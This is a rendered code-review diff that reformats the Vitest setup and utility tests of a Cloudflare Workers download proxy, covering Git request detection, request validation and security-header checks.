||||
'Response',
|
||||
'Headers',
|
||||
'URL',
|
||||
'URLSearchParams'
|
||||
];
|
||||
|
||||
const requiredGlobals = ['Request', 'Response', 'Headers', 'URL', 'URLSearchParams'];
|
||||
|
||||
for (const global of requiredGlobals) {
|
||||
if (typeof globalThis[global] === 'undefined') {
|
||||
throw new Error(`Required global ${global} is not available`);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// Verify SELF is available for Cloudflare Workers testing
|
||||
try {
|
||||
const { SELF } = await import('cloudflare:test');
|
||||
@@ -142,17 +136,17 @@ async function verifyTestDependencies() {
|
||||
*/
|
||||
function setupConsoleOverrides() {
|
||||
const originalConsole = { ...console };
|
||||
|
||||
|
||||
// Store original console methods
|
||||
globalThis.originalConsole = originalConsole;
|
||||
|
||||
|
||||
// Override console methods for testing
|
||||
console.warn = (...args) => {
|
||||
if (process.env.NODE_ENV !== 'test' || process.env.VERBOSE_TESTS) {
|
||||
originalConsole.warn(...args);
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
console.log = (...args) => {
|
||||
if (process.env.NODE_ENV !== 'test' || process.env.VERBOSE_TESTS) {
|
||||
originalConsole.log(...args);
|
||||
@@ -168,7 +162,7 @@ function resetGlobalState() {
|
||||
if (globalThis.testCache) {
|
||||
globalThis.testCache.clear();
|
||||
}
|
||||
|
||||
|
||||
// Reset performance counters
|
||||
if (globalThis.testPerformance) {
|
||||
globalThis.testPerformance.reset();
|
||||
@@ -181,11 +175,11 @@ function resetGlobalState() {
|
||||
async function setupTestCase(context) {
|
||||
// Create test-specific cache
|
||||
globalThis.testCache = new Map();
|
||||
|
||||
|
||||
// Setup test-specific performance monitoring
|
||||
globalThis.testPerformance = {
|
||||
marks: new Map(),
|
||||
mark: (name) => {
|
||||
mark: name => {
|
||||
globalThis.testPerformance.marks.set(name, performance.now());
|
||||
},
|
||||
measure: (name, startMark, endMark) => {
|
||||
@@ -197,7 +191,7 @@ async function setupTestCase(context) {
|
||||
globalThis.testPerformance.marks.clear();
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
// Mark test start time
|
||||
globalThis.testPerformance.mark('test-start');
|
||||
}
|
||||
@@ -208,22 +202,18 @@ async function setupTestCase(context) {
|
||||
async function cleanupTestCase(context) {
|
||||
// Mark test end time
|
||||
globalThis.testPerformance.mark('test-end');
|
||||
|
||||
|
||||
// Log test performance if verbose
|
||||
if (process.env.VERBOSE_TESTS) {
|
||||
const duration = globalThis.testPerformance.measure(
|
||||
'test-duration',
|
||||
'test-start',
|
||||
'test-end'
|
||||
);
|
||||
const duration = globalThis.testPerformance.measure('test-duration', 'test-start', 'test-end');
|
||||
console.log(`Test "${context.meta?.name}" took ${duration.toFixed(2)}ms`);
|
||||
}
|
||||
|
||||
|
||||
// Cleanup test-specific resources
|
||||
if (globalThis.testCache) {
|
||||
globalThis.testCache.clear();
|
||||
}
|
||||
|
||||
|
||||
if (globalThis.testPerformance) {
|
||||
globalThis.testPerformance.reset();
|
||||
}
|
||||
@@ -238,7 +228,7 @@ async function cleanupTestEnvironment() {
|
||||
Object.assign(console, globalThis.originalConsole);
|
||||
delete globalThis.originalConsole;
|
||||
}
|
||||
|
||||
|
||||
// Cleanup global test utilities
|
||||
delete globalThis.TEST_CONFIG;
|
||||
delete globalThis.testCache;
|
||||
@@ -252,49 +242,49 @@ globalThis.testUtils = {
|
||||
/**
|
||||
* Create a test timeout
|
||||
*/
|
||||
timeout: (ms) => new Promise((_, reject) => {
|
||||
setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms);
|
||||
}),
|
||||
|
||||
timeout: ms =>
|
||||
new Promise((_, reject) => {
|
||||
setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms);
|
||||
}),
|
||||
|
||||
/**
|
||||
* Wait for a condition to be true
|
||||
*/
|
||||
waitFor: async (condition, timeout = 5000, interval = 100) => {
|
||||
const start = Date.now();
|
||||
|
||||
|
||||
while (Date.now() - start < timeout) {
|
||||
if (await condition()) {
|
||||
return true;
|
||||
}
|
||||
await new Promise(resolve => setTimeout(resolve, interval));
|
||||
}
|
||||
|
||||
|
||||
throw new Error(`Condition not met within ${timeout}ms`);
|
||||
},
|
||||
|
||||
|
||||
/**
|
||||
* Retry a function with exponential backoff
|
||||
*/
|
||||
retry: async (fn, maxRetries = 3, baseDelay = 100) => {
|
||||
let lastError;
|
||||
|
||||
|
||||
for (let i = 0; i < maxRetries; i++) {
|
||||
try {
|
||||
return await fn();
|
||||
} catch (error) {
|
||||
lastError = error;
|
||||
|
||||
|
||||
if (i < maxRetries - 1) {
|
||||
const delay = baseDelay * Math.pow(2, i);
|
||||
await new Promise(resolve => setTimeout(resolve, delay));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
throw lastError;
|
||||
}
|
||||
};
|
||||
|
||||
// Export test configuration for use in other files
|
||||
export { TEST_CONFIG, testMetrics };
|
||||
|
||||
+44
-56
@@ -5,35 +5,29 @@ import { describe, expect, it } from 'vitest';
|
||||
|
||||
function isGitRequest(request, url) {
|
||||
// Check for Git-specific endpoints
|
||||
if (url.pathname.endsWith("/info/refs")) {
|
||||
if (url.pathname.endsWith('/info/refs')) {
|
||||
return true;
|
||||
}
|
||||
|
||||
if (
|
||||
url.pathname.endsWith("/git-upload-pack") ||
|
||||
url.pathname.endsWith("/git-receive-pack")
|
||||
) {
|
||||
if (url.pathname.endsWith('/git-upload-pack') || url.pathname.endsWith('/git-receive-pack')) {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Check for Git user agents
|
||||
const userAgent = request.headers.get("User-Agent") || "";
|
||||
if (userAgent.includes("git/") || userAgent.startsWith("git/")) {
|
||||
const userAgent = request.headers.get('User-Agent') || '';
|
||||
if (userAgent.includes('git/') || userAgent.startsWith('git/')) {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Check for Git-specific query parameters
|
||||
if (url.searchParams.has("service")) {
|
||||
const service = url.searchParams.get("service");
|
||||
return service === "git-upload-pack" || service === "git-receive-pack";
|
||||
if (url.searchParams.has('service')) {
|
||||
const service = url.searchParams.get('service');
|
||||
return service === 'git-upload-pack' || service === 'git-receive-pack';
|
||||
}
|
||||
|
||||
// Check for Git-specific content types
|
||||
const contentType = request.headers.get("Content-Type") || "";
|
||||
if (
|
||||
contentType.includes("git-upload-pack") ||
|
||||
contentType.includes("git-receive-pack")
|
||||
) {
|
||||
const contentType = request.headers.get('Content-Type') || '';
|
||||
if (contentType.includes('git-upload-pack') || contentType.includes('git-receive-pack')) {
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -43,40 +37,34 @@ function isGitRequest(request, url) {
|
||||
function validateRequest(request, url) {
|
||||
const CONFIG = {
|
||||
SECURITY: {
|
||||
ALLOWED_METHODS: ["GET", "HEAD"],
|
||||
ALLOWED_METHODS: ['GET', 'HEAD'],
|
||||
MAX_PATH_LENGTH: 2048
|
||||
}
|
||||
};
|
||||
|
||||
// Allow POST method for Git operations
|
||||
const allowedMethods = isGitRequest(request, url)
|
||||
? ["GET", "HEAD", "POST"]
|
||||
? ['GET', 'HEAD', 'POST']
|
||||
: CONFIG.SECURITY.ALLOWED_METHODS;
|
||||
|
||||
if (!allowedMethods.includes(request.method)) {
|
||||
return { valid: false, error: "Method not allowed", status: 405 };
|
||||
return { valid: false, error: 'Method not allowed', status: 405 };
|
||||
}
|
||||
|
||||
if (url.pathname.length > CONFIG.SECURITY.MAX_PATH_LENGTH) {
|
||||
return { valid: false, error: "Path too long", status: 414 };
|
||||
return { valid: false, error: 'Path too long', status: 414 };
|
||||
}
|
||||
|
||||
return { valid: true };
|
||||
}
|
||||
|
||||
function addSecurityHeaders(headers) {
|
||||
headers.set(
|
||||
"Strict-Transport-Security",
|
||||
"max-age=31536000; includeSubDomains; preload"
|
||||
);
|
||||
headers.set("X-Frame-Options", "DENY");
|
||||
headers.set("X-XSS-Protection", "1; mode=block");
|
||||
headers.set("Referrer-Policy", "strict-origin-when-cross-origin");
|
||||
headers.set(
|
||||
"Content-Security-Policy",
|
||||
"default-src 'none'; img-src 'self'; script-src 'none'"
|
||||
);
|
||||
headers.set("Permissions-Policy", "interest-cohort=()");
|
||||
headers.set('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload');
|
||||
headers.set('X-Frame-Options', 'DENY');
|
||||
headers.set('X-XSS-Protection', '1; mode=block');
|
||||
headers.set('Referrer-Policy', 'strict-origin-when-cross-origin');
|
||||
headers.set('Content-Security-Policy', "default-src 'none'; img-src 'self'; script-src 'none'");
|
||||
headers.set('Permissions-Policy', 'interest-cohort=()');
|
||||
return headers;
|
||||
}
|
||||
|
||||
@@ -85,21 +73,21 @@ describe('Utility Functions', () => {
|
||||
it('should identify Git info/refs requests', () => {
|
||||
const request = new Request('https://example.com/repo.git/info/refs');
|
||||
const url = new URL(request.url);
|
||||
|
||||
|
||||
expect(isGitRequest(request, url)).toBe(true);
|
||||
});
|
||||
|
||||
it('should identify Git upload-pack requests', () => {
|
||||
const request = new Request('https://example.com/repo.git/git-upload-pack');
|
||||
const url = new URL(request.url);
|
||||
|
||||
|
||||
expect(isGitRequest(request, url)).toBe(true);
|
||||
});
|
||||
|
||||
it('should identify Git receive-pack requests', () => {
|
||||
const request = new Request('https://example.com/repo.git/git-receive-pack');
|
||||
const url = new URL(request.url);
|
||||
|
||||
|
||||
expect(isGitRequest(request, url)).toBe(true);
|
||||
});
|
||||
|
||||
@@ -108,14 +96,14 @@ describe('Utility Functions', () => {
|
||||
headers: { 'User-Agent': 'git/2.34.1' }
|
||||
});
|
||||
const url = new URL(request.url);
|
||||
|
||||
|
||||
expect(isGitRequest(request, url)).toBe(true);
|
||||
});
|
||||
|
||||
it('should identify Git requests by service parameter', () => {
|
||||
const request = new Request('https://example.com/repo.git/info/refs?service=git-upload-pack');
|
||||
const url = new URL(request.url);
|
||||
|
||||
|
||||
expect(isGitRequest(request, url)).toBe(true);
|
||||
});
|
||||
|
||||
@@ -125,21 +113,21 @@ describe('Utility Functions', () => {
|
||||
headers: { 'Content-Type': 'application/x-git-upload-pack-request' }
|
||||
});
|
||||
const url = new URL(request.url);
|
||||
|
||||
|
||||
expect(isGitRequest(request, url)).toBe(true);
|
||||
});
|
||||
|
||||
it('should not identify regular file requests as Git', () => {
|
||||
const request = new Request('https://example.com/repo/file.txt');
|
||||
const url = new URL(request.url);
|
||||
|
||||
|
||||
expect(isGitRequest(request, url)).toBe(false);
|
||||
});
|
||||
|
||||
it('should handle edge cases gracefully', () => {
|
||||
const request = new Request('https://example.com/');
|
||||
const url = new URL(request.url);
|
||||
|
||||
|
||||
expect(isGitRequest(request, url)).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -148,7 +136,7 @@ describe('Utility Functions', () => {
|
||||
it('should allow GET requests', () => {
|
||||
const request = new Request('https://example.com/test', { method: 'GET' });
|
||||
const url = new URL(request.url);
|
||||
|
||||
|
||||
const result = validateRequest(request, url);
|
||||
expect(result.valid).toBe(true);
|
||||
});
|
||||
@@ -156,7 +144,7 @@ describe('Utility Functions', () => {
|
||||
it('should allow HEAD requests', () => {
|
||||
const request = new Request('https://example.com/test', { method: 'HEAD' });
|
||||
const url = new URL(request.url);
|
||||
|
||||
|
||||
const result = validateRequest(request, url);
|
||||
expect(result.valid).toBe(true);
|
||||
});
|
||||
@@ -164,7 +152,7 @@ describe('Utility Functions', () => {
|
||||
it('should reject PUT requests for non-Git operations', () => {
|
||||
const request = new Request('https://example.com/test', { method: 'PUT' });
|
||||
const url = new URL(request.url);
|
||||
|
||||
|
||||
const result = validateRequest(request, url);
|
||||
expect(result.valid).toBe(false);
|
||||
expect(result.status).toBe(405);
|
||||
@@ -176,7 +164,7 @@ describe('Utility Functions', () => {
|
||||
headers: { 'User-Agent': 'git/2.34.1' }
|
||||
});
|
||||
const url = new URL(request.url);
|
||||
|
||||
|
||||
const result = validateRequest(request, url);
|
||||
expect(result.valid).toBe(true);
|
||||
});
|
||||
@@ -185,7 +173,7 @@ describe('Utility Functions', () => {
|
||||
const longPath = '/' + 'a'.repeat(3000);
|
||||
const request = new Request(`https://example.com${longPath}`);
|
||||
const url = new URL(request.url);
|
||||
|
||||
|
||||
const result = validateRequest(request, url);
|
||||
expect(result.valid).toBe(false);
|
||||
expect(result.status).toBe(414);
|
||||
@@ -195,7 +183,7 @@ describe('Utility Functions', () => {
|
||||
const normalPath = '/gh/microsoft/vscode/archive/refs/heads/main.zip';
|
||||
const request = new Request(`https://example.com${normalPath}`);
|
||||
const url = new URL(request.url);
|
||||
|
||||
|
||||
const result = validateRequest(request, url);
|
||||
expect(result.valid).toBe(true);
|
||||
});
|
||||
@@ -205,7 +193,7 @@ describe('Utility Functions', () => {
|
||||
it('should add all required security headers', () => {
|
||||
const headers = new Headers();
|
||||
const result = addSecurityHeaders(headers);
|
||||
|
||||
|
||||
expect(result.get('Strict-Transport-Security')).toBeTruthy();
|
||||
expect(result.get('X-Frame-Options')).toBe('DENY');
|
||||
expect(result.get('X-XSS-Protection')).toBe('1; mode=block');
|
||||
@@ -217,7 +205,7 @@ describe('Utility Functions', () => {
|
||||
it('should set HSTS with proper directives', () => {
|
||||
const headers = new Headers();
|
||||
const result = addSecurityHeaders(headers);
|
||||
|
||||
|
||||
const hsts = result.get('Strict-Transport-Security');
|
||||
expect(hsts).toContain('max-age=31536000');
|
||||
expect(hsts).toContain('includeSubDomains');
|
||||
@@ -227,7 +215,7 @@ describe('Utility Functions', () => {
|
||||
it('should set CSP with restrictive policy', () => {
|
||||
const headers = new Headers();
|
||||
const result = addSecurityHeaders(headers);
|
||||
|
||||
|
||||
const csp = result.get('Content-Security-Policy');
|
||||
expect(csp).toContain("default-src 'none'");
|
||||
expect(csp).toContain("script-src 'none'");
|
||||
@@ -236,9 +224,9 @@ describe('Utility Functions', () => {
|
||||
it('should not overwrite existing headers', () => {
|
||||
const headers = new Headers();
|
||||
headers.set('X-Custom-Header', 'custom-value');
|
||||
|
||||
|
||||
const result = addSecurityHeaders(headers);
|
||||
|
||||
|
||||
expect(result.get('X-Custom-Header')).toBe('custom-value');
|
||||
expect(result.get('X-Frame-Options')).toBe('DENY');
|
||||
});
|
||||
@@ -246,7 +234,7 @@ describe('Utility Functions', () => {
|
||||
it('should return the same Headers object', () => {
|
||||
const headers = new Headers();
|
||||
const result = addSecurityHeaders(headers);
|
||||
|
||||
|
||||
expect(result).toBe(headers);
|
||||
});
|
||||
});
|
||||
@@ -261,7 +249,7 @@ describe('Utility Functions', () => {
|
||||
|
||||
testUrls.forEach(urlString => {
|
||||
expect(() => new URL(urlString)).not.toThrow();
|
||||
|
||||
|
||||
const url = new URL(urlString);
|
||||
expect(url.protocol).toBe('https:');
|
||||
expect(url.hostname).toBe('example.com');
|
||||
@@ -271,7 +259,7 @@ describe('Utility Functions', () => {
|
||||
|
||||
it('should handle query parameters correctly', () => {
|
||||
const url = new URL('https://example.com/gh/repo?ref=main&path=src');
|
||||
|
||||
|
||||
expect(url.searchParams.get('ref')).toBe('main');
|
||||
expect(url.searchParams.get('path')).toBe('src');
|
||||
expect(url.searchParams.has('nonexistent')).toBe(false);
|
||||
@@ -279,7 +267,7 @@ describe('Utility Functions', () => {
|
||||
|
||||
it('should handle URL fragments correctly', () => {
|
||||
const url = new URL('https://example.com/gh/repo/README.md#section');
|
||||
|
||||
|
||||
expect(url.hash).toBe('#section');
|
||||
expect(url.pathname).toBe('/gh/repo/README.md');
|
||||
});
|
||||
@@ -291,7 +279,7 @@ describe('Utility Functions', () => {
|
||||
method: 'GET',
|
||||
headers: {
|
||||
'User-Agent': 'Xget/1.0',
|
||||
'Accept': 'application/json'
|
||||
Accept: 'application/json'
|
||||
}
|
||||
});
|
||||
|
||||
@@ -348,4 +336,4 @@ describe('Utility Functions', () => {
|
||||
await expect(asyncFunction()).rejects.toThrow('Test error');
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
Reference in new issue
Block a user